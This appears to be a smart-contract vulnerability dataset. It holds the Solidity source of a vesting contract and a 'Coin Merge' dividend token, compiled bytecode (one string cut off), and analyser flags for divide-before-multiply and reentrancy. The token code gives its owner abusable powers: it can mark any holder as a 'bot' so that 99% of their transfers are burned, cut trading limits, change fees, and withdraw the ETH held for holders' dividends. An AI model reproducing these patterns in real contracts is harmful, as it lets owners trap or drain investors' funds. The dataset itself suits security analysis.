if (timestamp < _START_RELEASE_TIME_) {
return DecimalMath.ONE;
}
uint256 timePast = timestamp.sub(_START_RELEASE_TIME_);
if (timePast < _RELEASE_DURATION_) {
uint256 remainingTime = _RELEASE_DURATION_.sub(timePast);
return DecimalMath.ONE.sub(_CLIFF_RATE_).mul(remainingTime).div(_RELEASE_DURATION_);
} else {
return 0;
}
}
// ============ Internal Helper ============
function _tokenTransferIn(address from, uint256 amount) internal {
IERC20(_TOKEN_).safeTransferFrom(from, address(this), amount);
}
function _tokenTransferOut(address to, uint256 amount) internal {
IERC20(_TOKEN_).safeTransfer(to, amount);
}
} | 0x608060405234801561001057600080fd5b506004361061014c5760003560e01c80637db41eae116100c3578063cd32f0861161007c578063cd32f08614610263578063cf0e80fe1461026b578063d18284961461027e578063e5612b3b14610291578063ef90364214610299578063f2fde38b146102a15761014c565b80637db41eae146102075780638456db151461021a57806392e3200b14610222578063b6b55f251461022a578063c2ae16801461023d578063ca430519146102505761014c565b80632a8b0480116101155780632a8b0480146101b25780632e1a7d4d146101ba5780634e71d92d146101cf5780634e71e0c8146101d75780636a4de5d1146101df578063710475f6146101f25761014c565b80621bf8f61461015157806306def8021461017a57806316048bc41461018d57806324b32741146101a2578063294dafc0146101aa575b600080fd5b61016461015f366004610ccc565b6102b4565b6040516101719190611013565b60405180910390f35b610164610188366004610ccc565b6102ef565b610195610343565b6040516101719190610dcd565b610164610352565b610164610358565b61016461035e565b6101cd6101c8366004610d7c565b610364565b005b6101cd6103c6565b6101cd61045c565b6101646101ed366004610d7c565b6104ea565b6101fa610592565b6040516101719190610e1e565b6101cd610215366004610ccc565b61059b565b610195610668565b610195610677565b6101cd610238366004610d7c565b61069b565b6101cd61024b366004610cf3565b6106f4565b6101cd61025e366004610ccc565b610836565b6101fa6108ea565b610164610279366004610ccc565b6108f3565b61016461028c366004610ccc565b61090e565b6101cd610929565b610164610962565b6101cd6102af366004610ccc565b610968565b6000806102c0426104ea565b6001600160a01b0384166000908152600260205260409020549091506102e690826109ed565b9150505b919050565b6000806102fb836102b4565b6001600160a01b0384166000908152600360209081526040808320546002909252909120549192506102e691610337908463ffffffff610a1916565b9063ffffffff610a1916565b6000546001600160a01b031681565b60045481565b60075481565b60055481565b6000546001600160a01b031633146103975760405162461bcd60e51b815260040161038e90610f29565b60405180910390fd5b6004546103aa908263ffffffff610a1916565b6004556000546103c3906001600160a01b031682610a41565b50565b60006103d1336102ef565b90506103dd3382610a41565b336000908152600360205260409020546103fd908263ffffffff610a7f16565b336000818152600360208181526040808420869055600282529283902054919052905191927f45c072aa05b9853b5a993de7a28bc332ee01404a628cec1a23ce0f659f842ef192610451929190869061101c565b60405180910390a250565b6001546001600160a01b031633146104865760405162461bcd60e51b815260040161038e90610e29565b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b60006005548210156105055750670de0b6b3a76400006102ea565b600061051c60055484610a1990919063ffffffff16565b90506006548110156105885760065460009061053e908363ffffffff610a1916565b905061057f60065461057383610567600754670de0b6b3a7640000610a1990919063ffffffff16565b9063ffffffff610aab16565b9063ffffffff610ae516565b925050506102ea565b60009150506102ea565b60085460ff1681565b6001600160a01b0381163314156105c45760405162461bcd60e51b815260040161038e90610eda565b33600090815260026020526040808220546001600160a01b03841683529120546105f39163ffffffff610a7f16565b6001600160a01b038216600081815260026020908152604080832094909455338252600390528281205491815291909120546106349163ffffffff610a7f16565b6001600160a01b03909116600090815260036020818152604080842094909455338352600281528383208390555290812055565b6001546001600160a01b031681565b7f00000000000000000000000043dfc4159d86f3a37a5a4b3d4580b888ad7d4ddd81565b6000546001600160a01b031633146106c55760405162461bcd60e51b815260040161038e90610f29565b6000546106db906001600160a01b031682610b0f565b6004546106ee908263ffffffff610a7f16565b60045550565b6000546001600160a01b0316331461071e5760405162461bcd60e51b815260040161038e90610f29565b82811461073d5760405162461bcd60e51b815260040161038e90610fdc565b6000805b84811015610818576107aa84848381811061075857fe5b905060200201356002600089898681811061076f57fe5b90506020020160208101906107849190610ccc565b6001600160a01b031681526020810191909152604001600020549063ffffffff610a7f16565b600260008888858181106107ba57fe5b90506020020160208101906107cf9190610ccc565b6001600160a01b0316815260208101919091526040016000205561080e8484838181106107f857fe5b9050602002013583610a7f90919063ffffffff16565b9150600101610741565b5060045461082c908263ffffffff610a1916565b6004555050505050565b6000546001600160a01b031633146108605760405162461bcd60e51b815260040161038e90610f29565b60085460ff16156108835760405162461bcd60e51b815260040161038e90610e50565b6001600160a01b0381166000908152600360209081526040808320546002909252909120546004546108c09291610337919063ffffffff610a7f16565b6004556001600160a01b031660009081526002602090815260408083208390556003909152812055565b60055442101590565b6001600160a01b031660009081526003602052604090205490565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146109535760405162461bcd60e51b815260040161038e90610f29565b6008805460ff19166001179055565b60065481565b6000546001600160a01b031633146109925760405162461bcd60e51b815260040161038e90610f29565b600080546040516001600160a01b03808516939216917fdcf55418cee3220104fef63f979ff3c4097ad240c0c43dcb33ce837748983e6291a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000670de0b6b3a7640000610a08848463ffffffff610aab16565b81610a0f57fe5b0490505b92915050565b600082821115610a3b5760405162461bcd60e51b815260040161038e90610f06565b50900390565b610a7b6001600160a01b037f00000000000000000000000043dfc4159d86f3a37a5a4b3d4580b888ad7d4ddd16838363ffffffff610b4a16565b5050565b600082820183811015610aa45760405162461bcd60e51b815260040161038e90610f4c565b9392505050565b600082610aba57506000610a13565b82820282848281610ac757fe5b0414610aa45760405162461bcd60e51b815260040161038e90610fb9565b6000808211610b065760405162461bcd60e51b815260040161038e90610eb2565b818381610a0f57fe5b610a7b6001600160a01b037f00000000000000000000000043dfc4159d86f3a37a5a4b3d4580b888ad7d4ddd1683308463ffffffff610ba516565b610ba08363a9059cbb60e01b8484604051602401610b69929190610e05565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152610bcc565b505050565b610bc6846323b872dd60e01b858585604051602401610b6993929190610de1565b50505050565b60006060836001600160a01b031683604051610be89190610d94565b6000604051808303816000865af19150503d8060008114610c25576040519150601f19603f3d011682016040523d82523d6000602084013e610c2a565b606091505b509150915081610c4c5760405162461bcd60e51b815260040161038e90610e7d565b805115610bc65780806020019051810190610c679190610d5c565b610bc65760405162461bcd60e51b815260040161038e90610f6f565b60008083601f840112610c94578182fd5b50813567ffffffffffffffff811115610cab578182fd5b6020830191508360208083028501011115610cc557600080fd5b9250929050565b600060208284031215610cdd578081fd5b81356001600160a01b0381168114610aa4578182fd5b60008060008060408587031215610d08578283fd5b843567ffffffffffffffff80821115610d1f578485fd5b610d2b88838901610c83565b90965094506020870135915080821115610d43578384fd5b50610d5087828801610c83565b95989497509550505050565b600060208284031215610d6d578081fd5b81518015158114610aa4578182fd5b600060208284031215610d8d578081fd5b5035919050565b60008251815b81811015610db45760208186018101518583015201610d9a565b81811115610dc25782828501525b509190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b6020808252600d908201526c494e56414c49445f434c41494d60981b604082015260600190565b602080825260139082015272111254d5149250955511481192539254d21151606a1b604082015260600190565b6020808252818101527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604082015260600190565b6020808252600e908201526d2224ab24a224a723afa2a92927a960911b604082015260600190565b602080825260129082015271494e56414c49445f544f5f4144445245535360701b604082015260600190565b60208082526009908201526829aaa12fa2a92927a960b91b604082015260600190565b6020808252600990820152682727aa2fa7aba722a960b91b604082015260600190565b60208082526009908201526820a2222fa2a92927a960b91b604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b60208082526009908201526826aaa62fa2a92927a960b91b604082015260600190565b6020808252601c908201527f6261746368206772616e74206c656e677468206e6f74206d6174636800000000604082015260600190565b90815260200190565b928352602083019190915260408201526060019056fea26469706673582212209165ab99c0f2bcc672d59c5743a582a2dbaa5557e348d0ba200c0e74ad52016064736f6c63430006090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 1,165 |
0xc48b4814faed1ccc885dd6fde62a6474aecbb19a | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
/**
* Standard SafeMath, stripped down to just add/sub/mul/div
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
/**
* BEP20 standard interface.
*/
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* Allows for contract ownership along with multi-address authorization
*/
abstract contract Auth {
address internal owner;
constructor(address _owner) {
owner = _owner;
}
/**
* Function modifier to require caller to be contract deployer
*/
modifier onlyOwner() {
require(isOwner(msg.sender), "!Owner"); _;
}
/**
* Check if address is owner
*/
function isOwner(address account) public view returns (bool) {
return account == owner;
}
/**
* Transfer ownership to new address. Caller must be deployer. Leaves old deployer authorized
*/
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IDividendDistributor {
function setShare(address shareholder, uint256 amount) external;
function deposit() external payable;
function claimDividend(address shareholder) external;
}
contract DividendDistributor is IDividendDistributor {
using SafeMath for uint256;
address private _token;
address private _owner;
struct Share {
uint256 amount;
uint256 totalExcluded;
uint256 totalRealised;
}
address[] private shareholders;
mapping (address => uint256) private shareholderIndexes;
mapping (address => Share) public shares;
uint256 public totalShares;
uint256 public totalDividends;
uint256 public totalDistributed;
uint256 public dividendsPerShare;
uint256 private dividendsPerShareAccuracyFactor = 10 ** 36;
modifier onlyToken() {
require(msg.sender == _token); _;
}
modifier onlyOwner() {
require(msg.sender == _owner); _;
}
constructor (address owner) {
_token = msg.sender;
_owner = owner;
}
function setShare(address shareholder, uint256 amount) external override onlyToken {
if(shares[shareholder].amount > 0){
distributeDividend(shareholder);
}
if(amount > 0 && shares[shareholder].amount == 0){
addShareholder(shareholder);
}else if(amount == 0 && shares[shareholder].amount > 0){
removeShareholder(shareholder);
}
totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
shares[shareholder].amount = amount;
shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
}
function deposit() external payable override onlyToken {
uint256 amount = msg.value;
totalDividends = totalDividends.add(amount);
dividendsPerShare = dividendsPerShare.add(dividendsPerShareAccuracyFactor.mul(amount).div(totalShares));
}
function distributeDividend(address shareholder) internal {
if(shares[shareholder].amount == 0){ return; }
uint256 amount = getUnpaidEarnings(shareholder);
if(amount > 0){
totalDistributed = totalDistributed.add(amount);
shares[shareholder].totalRealised = shares[shareholder].totalRealised.add(amount);
shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
payable(shareholder).transfer(amount);
}
}
function claimDividend(address shareholder) external override onlyToken {
distributeDividend(shareholder);
}
function getUnpaidEarnings(address shareholder) public view returns (uint256) {
if(shares[shareholder].amount == 0){ return 0; }
uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount);
uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
if(shareholderTotalDividends <= shareholderTotalExcluded){ return 0; }
return shareholderTotalDividends.sub(shareholderTotalExcluded);
}
function getCumulativeDividends(uint256 share) internal view returns (uint256) {
return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor);
}
function addShareholder(address shareholder) internal {
shareholderIndexes[shareholder] = shareholders.length;
shareholders.push(shareholder);
}
function removeShareholder(address shareholder) internal {
shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length-1];
shareholderIndexes[shareholders[shareholders.length-1]] = shareholderIndexes[shareholder];
shareholders.pop();
}
function manualSend(uint256 amount, address holder) external onlyOwner {
uint256 contractETHBalance = address(this).balance;
payable(holder).transfer(amount > 0 ? amount : contractETHBalance);
}
}
contract CoinMerge is IBEP20, Auth {
using SafeMath for uint256;
address private WETH;
address private DEAD = 0x000000000000000000000000000000000000dEaD;
address private ZERO = 0x0000000000000000000000000000000000000000;
string private constant _name = "Coin Merge";
string private constant _symbol = "CMERGE";
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 5000000000 * (10 ** _decimals);
uint256 private _maxTxAmountBuy = _totalSupply;
uint256 private _maxTxAmountSell = _totalSupply;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private isFeeExempt;
mapping (address => bool) private isTxLimitExempt;
mapping (address => bool) private isDividendExempt;
mapping (address => bool) private isBot;
uint256 private initialBlockLimit = 1;
uint256 private reflectionFee = 4;
uint256 private teamFee = 4;
uint256 private totalFee = 8;
uint256 private feeDenominator = 100;
address private teamReceiver;
IDEXRouter public router;
address public pair;
uint256 public launchedAt;
DividendDistributor private distributor;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply / 1000; // 5M
bool private inSwap;
modifier swapping() { inSwap = true; _; inSwap = false; }
constructor (
address _owner,
address _teamWallet
) Auth(_owner) {
router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
WETH = router.WETH();
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
_allowances[address(this)][address(router)] = type(uint256).max;
distributor = new DividendDistributor(_owner);
isFeeExempt[_owner] = true;
isFeeExempt[_teamWallet] = true;
isTxLimitExempt[_owner] = true;
isTxLimitExempt[DEAD] = true;
isTxLimitExempt[_teamWallet] = true;
isDividendExempt[pair] = true;
isDividendExempt[address(this)] = true;
isDividendExempt[DEAD] = true;
teamReceiver = _teamWallet;
_balances[_owner] = _totalSupply;
emit Transfer(address(0), _owner, _totalSupply);
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, type(uint256).max);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != type(uint256).max){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
checkTxLimit(sender, recipient, amount);
if(shouldSwapBack()){ swapBack(); }
if(!launched() && recipient == pair){ require(_balances[sender] > 0); launch(); }
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
if(sender != pair && !isDividendExempt[sender]){ try distributor.setShare(sender, _balances[sender]) {} catch {} }
if(recipient != pair && !isDividendExempt[recipient]){ try distributor.setShare(recipient, _balances[recipient]) {} catch {} }
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
sender == pair
? require(amount <= _maxTxAmountBuy || isTxLimitExempt[recipient], "Buy TX Limit Exceeded")
: require(amount <= _maxTxAmountSell || isTxLimitExempt[sender], "Sell TX Limit Exceeded");
}
function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
return !(isFeeExempt[sender] || isFeeExempt[recipient]);
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeAmount;
bool bot;
// Add all the fees to the contract. In case of Sell, it will be multiplied fees.
if (sender != pair) {
bot = isBot[sender];
} else {
bot = isBot[recipient];
}
if (bot || launchedAt + initialBlockLimit >= block.number) {
feeAmount = amount.mul(feeDenominator.sub(1)).div(feeDenominator);
_balances[DEAD] = _balances[DEAD].add(feeAmount);
emit Transfer(sender, DEAD, feeAmount);
} else {
feeAmount = amount.mul(totalFee).div(feeDenominator);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
}
return amount.sub(feeAmount);
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != pair
&& !inSwap
&& swapEnabled
&& _balances[address(this)] >= swapThreshold;
}
function swapBack() internal swapping {
uint256 amountToSwap = swapThreshold;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WETH;
uint256 balanceBefore = address(this).balance;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
uint256 amountReflection = amountETH.mul(reflectionFee).div(totalFee);
uint256 amountTeam = amountETH.sub(amountReflection);
try distributor.deposit{value: amountReflection}() {} catch {}
payable(teamReceiver).transfer(amountTeam);
}
function launched() internal view returns (bool) {
return launchedAt != 0;
}
function launch() internal {
//To know when it was launched
launchedAt = block.number;
}
function setInitialBlockLimit(uint256 blocks) external onlyOwner {
require(blocks > 0, "Blocks should be greater than 0");
initialBlockLimit = blocks;
}
function setBuyTxLimit(uint256 amount) external onlyOwner {
_maxTxAmountBuy = amount;
}
function setSellTxLimit(uint256 amount) external onlyOwner {
_maxTxAmountSell = amount;
}
function setBot(address _address, bool toggle) external onlyOwner {
isBot[_address] = toggle;
_setIsDividendExempt(_address, toggle);
}
function isInBot(address _address) external view onlyOwner returns (bool) {
return isBot[_address];
}
function _setIsDividendExempt(address holder, bool exempt) internal {
require(holder != address(this) && holder != pair);
isDividendExempt[holder] = exempt;
if(exempt){
distributor.setShare(holder, 0);
}else{
distributor.setShare(holder, _balances[holder]);
}
}
function setIsDividendExempt(address holder, bool exempt) external onlyOwner {
_setIsDividendExempt(holder, exempt);
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
isFeeExempt[holder] = exempt;
}
function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
isTxLimitExempt[holder] = exempt;
}
function setFees( uint256 _reflectionFee, uint256 _teamFee, uint256 _feeDenominator) external onlyOwner {
reflectionFee = _reflectionFee;
teamFee = _teamFee;
totalFee = _reflectionFee.add(_teamFee);
feeDenominator = _feeDenominator;
//Total fees has to be less than 50%
require(totalFee < feeDenominator/2);
}
function setFeeReceiver(address _teamReceiver) external onlyOwner {
teamReceiver = _teamReceiver;
}
function manualSend() external onlyOwner {
uint256 contractETHBalance = address(this).balance;
payable(teamReceiver).transfer(contractETHBalance);
}
function setSwapBackSettings(bool enabled, uint256 amount) external onlyOwner {
swapEnabled = enabled;
swapThreshold = amount;
}
function claimDividend() external {
distributor.claimDividend(msg.sender);
}
function claimDividend(address holder) external onlyOwner {
distributor.claimDividend(holder);
}
function getUnpaidEarnings(address shareholder) public view returns (uint256) {
return distributor.getUnpaidEarnings(shareholder);
}
function manualBurn(uint256 amount) external onlyOwner returns (bool) {
return _basicTransfer(address(this), DEAD, amount);
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
} | 0x6080604052600436106102385760003560e01c806370a0823111610138578063dd62ed3e116100b0578063f2fde38b1161007f578063f708a64f11610064578063f708a64f146106e9578063f84ba65d14610709578063f887ea401461072957600080fd5b8063f2fde38b146106b4578063f4293890146106d457600080fd5b8063dd62ed3e14610619578063df20fd491461065f578063efdcd9741461067f578063f0fc6bca1461069f57600080fd5b8063a8aa1b3111610107578063bf56b371116100ec578063bf56b371146105c3578063c3647c8c146105d9578063cec10c11146105f957600080fd5b8063a8aa1b3114610583578063a9059cbb146105a357600080fd5b806370a08231146104b5578063736ad050146104eb578063893d20e81461050b57806395d89b411461053d57600080fd5b806328fd3198116101cb578063342aa8b51161019a578063571ac8b01161017f578063571ac8b014610443578063658d4b7f146104635780636ddd17131461048357600080fd5b8063342aa8b514610403578063416501c81461042357600080fd5b806328fd3198146103835780632b112e49146103a35780632f54bf6e146103b8578063313ce567146103e757600080fd5b806315f7e05e1161020757806315f7e05e1461030e57806318160ddd1461032e57806323b635851461034357806323b872dd1461036357600080fd5b80630445b6671461024457806306fdde031461026d57806308cad4e5146102bc578063095ea7b3146102de57600080fd5b3661023f57005b600080fd5b34801561025057600080fd5b5061025a60175481565b6040519081526020015b60405180910390f35b34801561027957600080fd5b5060408051808201909152600a81527f436f696e204d657267650000000000000000000000000000000000000000000060208201525b6040516102649190611f8f565b3480156102c857600080fd5b506102dc6102d7366004611f31565b610749565b005b3480156102ea57600080fd5b506102fe6102f9366004611ee9565b610796565b6040519015158152602001610264565b34801561031a57600080fd5b506102dc610329366004611e1d565b610803565b34801561033a57600080fd5b5060045461025a565b34801561034f57600080fd5b506102fe61035e366004611f31565b6108c1565b34801561036f57600080fd5b506102fe61037e366004611e73565b610925565b34801561038f57600080fd5b5061025a61039e366004611e1d565b610a0c565b3480156103af57600080fd5b5061025a610aa3565b3480156103c457600080fd5b506102fe6103d3366004611e1d565b6000546001600160a01b0391821691161490565b3480156103f357600080fd5b5060405160098152602001610264565b34801561040f57600080fd5b506102dc61041e366004611eb4565b610af5565b34801561042f57600080fd5b506102fe61043e366004611e1d565b610b6a565b34801561044f57600080fd5b506102fe61045e366004611e1d565b610bcd565b34801561046f57600080fd5b506102dc61047e366004611eb4565b610bf9565b34801561048f57600080fd5b506016546102fe9074010000000000000000000000000000000000000000900460ff1681565b3480156104c157600080fd5b5061025a6104d0366004611e1d565b6001600160a01b031660009081526007602052604090205490565b3480156104f757600080fd5b506102dc610506366004611f31565b610c67565b34801561051757600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610264565b34801561054957600080fd5b5060408051808201909152600681527f434d45524745000000000000000000000000000000000000000000000000000060208201526102af565b34801561058f57600080fd5b50601454610525906001600160a01b031681565b3480156105af57600080fd5b506102fe6105be366004611ee9565b610caf565b3480156105cf57600080fd5b5061025a60155481565b3480156105e557600080fd5b506102dc6105f4366004611f31565b610cbc565b34801561060557600080fd5b506102dc610614366004611f63565b610d54565b34801561062557600080fd5b5061025a610634366004611e3a565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b34801561066b57600080fd5b506102dc61067a366004611f15565b610dd0565b34801561068b57600080fd5b506102dc61069a366004611e1d565b610e61565b3480156106ab57600080fd5b506102dc610ede565b3480156106c057600080fd5b506102dc6106cf366004611e1d565b610f56565b3480156106e057600080fd5b506102dc611005565b3480156106f557600080fd5b506102dc610704366004611eb4565b611082565b34801561071557600080fd5b506102dc610724366004611eb4565b6110cf565b34801561073557600080fd5b50601354610525906001600160a01b031681565b6000546001600160a01b031633146107915760405162461bcd60e51b815260206004820152600660248201526510a7bbb732b960d11b60448201526064015b60405180910390fd5b600655565b3360008181526008602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906107f19086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b031633146108465760405162461bcd60e51b815260206004820152600660248201526510a7bbb732b960d11b6044820152606401610788565b6016546040517f15f7e05e0000000000000000000000000000000000000000000000000000000081526001600160a01b038381166004830152909116906315f7e05e90602401600060405180830381600087803b1580156108a657600080fd5b505af11580156108ba573d6000803e3d6000fd5b5050505050565b600080546001600160a01b031633146109055760405162461bcd60e51b815260206004820152600660248201526510a7bbb732b960d11b6044820152606401610788565b60025461091d9030906001600160a01b03168461113d565b90505b919050565b6001600160a01b03831660009081526008602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff146109f757604080518082018252601681527f496e73756666696369656e7420416c6c6f77616e6365000000000000000000006020808301919091526001600160a01b03871660009081526008825283812033825290915291909120546109d291849061122c565b6001600160a01b03851660009081526008602090815260408083203384529091529020555b610a02848484611266565b90505b9392505050565b6016546040517f28fd31980000000000000000000000000000000000000000000000000000000081526001600160a01b03838116600483015260009216906328fd31989060240160206040518083038186803b158015610a6b57600080fd5b505afa158015610a7f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091d9190611f4a565b6003546001600160a01b0316600090815260076020526040812054610af0906002546001600160a01b0316600090815260076020526040902054610aea90600454906115a8565b906115a8565b905090565b6000546001600160a01b03163314610b385760405162461bcd60e51b815260206004820152600660248201526510a7bbb732b960d11b6044820152606401610788565b6001600160a01b0382166000908152600c60205260409020805460ff1916821515179055610b6682826115ea565b5050565b600080546001600160a01b03163314610bae5760405162461bcd60e51b815260206004820152600660248201526510a7bbb732b960d11b6044820152606401610788565b506001600160a01b03166000908152600c602052604090205460ff1690565b600061091d827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610796565b6000546001600160a01b03163314610c3c5760405162461bcd60e51b815260206004820152600660248201526510a7bbb732b960d11b6044820152606401610788565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610caa5760405162461bcd60e51b815260206004820152600660248201526510a7bbb732b960d11b6044820152606401610788565b600555565b6000610a05338484611266565b6000546001600160a01b03163314610cff5760405162461bcd60e51b815260206004820152600660248201526510a7bbb732b960d11b6044820152606401610788565b60008111610d4f5760405162461bcd60e51b815260206004820152601f60248201527f426c6f636b732073686f756c642062652067726561746572207468616e2030006044820152606401610788565b600d55565b6000546001600160a01b03163314610d975760405162461bcd60e51b815260206004820152600660248201526510a7bbb732b960d11b6044820152606401610788565b600e839055600f829055610dab838361172d565b6010556011819055610dbe60028261208b565b60105410610dcb57600080fd5b505050565b6000546001600160a01b03163314610e135760405162461bcd60e51b815260206004820152600660248201526510a7bbb732b960d11b6044820152606401610788565b6016805492151574010000000000000000000000000000000000000000027fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff90931692909217909155601755565b6000546001600160a01b03163314610ea45760405162461bcd60e51b815260206004820152600660248201526510a7bbb732b960d11b6044820152606401610788565b601280547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6016546040517f15f7e05e0000000000000000000000000000000000000000000000000000000081523360048201526001600160a01b03909116906315f7e05e90602401600060405180830381600087803b158015610f3c57600080fd5b505af1158015610f50573d6000803e3d6000fd5b50505050565b6000546001600160a01b03163314610f995760405162461bcd60e51b815260206004820152600660248201526510a7bbb732b960d11b6044820152606401610788565b600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6000546001600160a01b031633146110485760405162461bcd60e51b815260206004820152600660248201526510a7bbb732b960d11b6044820152606401610788565b60125460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610b66573d6000803e3d6000fd5b6000546001600160a01b031633146110c55760405162461bcd60e51b815260206004820152600660248201526510a7bbb732b960d11b6044820152606401610788565b610b6682826115ea565b6000546001600160a01b031633146111125760405162461bcd60e51b8152602060048201526006602482015265